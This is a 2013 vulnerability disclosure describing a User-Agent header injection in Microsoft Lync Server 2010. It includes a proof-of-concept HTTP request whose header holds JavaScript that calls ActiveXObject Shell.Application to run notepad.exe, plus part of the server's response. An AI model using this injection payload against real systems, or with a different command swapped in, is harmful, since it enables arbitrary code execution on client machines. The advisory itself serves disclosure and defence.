Summary
=======
Microsoft Lync 2010 fails to properly sanitize user-supplied input, which
can lead to remote code execution.
Microsoft was originally notified of this issue December 11, 2012.
The details of this issue were made public January 11, 2013.
CVE number: Not Assigned
Impact: Low
Vendor homepage: http://lync.microsoft.com/
Vendor notified: December 11, 2012
Vendor fixed: N/A
Credit: Christopher Emerson of White Oak Security
(http://www.whiteoaksecurity.com/)
Affected Products
================
Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0. Other
versions may also be
affected.
Details
=======
Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the
“User-Agent Header” for meet.domainame.com.
By inserting JavaScript into the aforementioned parameters and stacking
commands, an attacker can execute arbitrary commands in the context of the
application.
Impact
======
Malicious users could execute arbitrary applications on the client systems,
compromising the confidentiality, integrity and availability of information
on the client system.
Solution
========
The vendor should implement thorough input validation in order to remove
dangerous characters from user supplied data. Additionally, the vendor
should implement thorough output encoding in order to display, and not
execute, dangerous characters within the browser.
Proof-of-Concept (PoC)
===================
The following Request is included as a proof of concept. The proof of
concept is designed to open notepad.exe when the Request is received by the
server.
GET /christopher.emerson/JW926520 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap,
application/x-ms-application, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var
commandtoRun =
"C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"
Host: meet.domainname.com
Connection: Keep-Alive
Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=Christopher
Below is an abbreviated copy of the Response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MS-Server-Fqdn: domainname.com
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 20:26:55 GMT
Connection: keep-alive
Content-Length: 23901
Microsoft Lync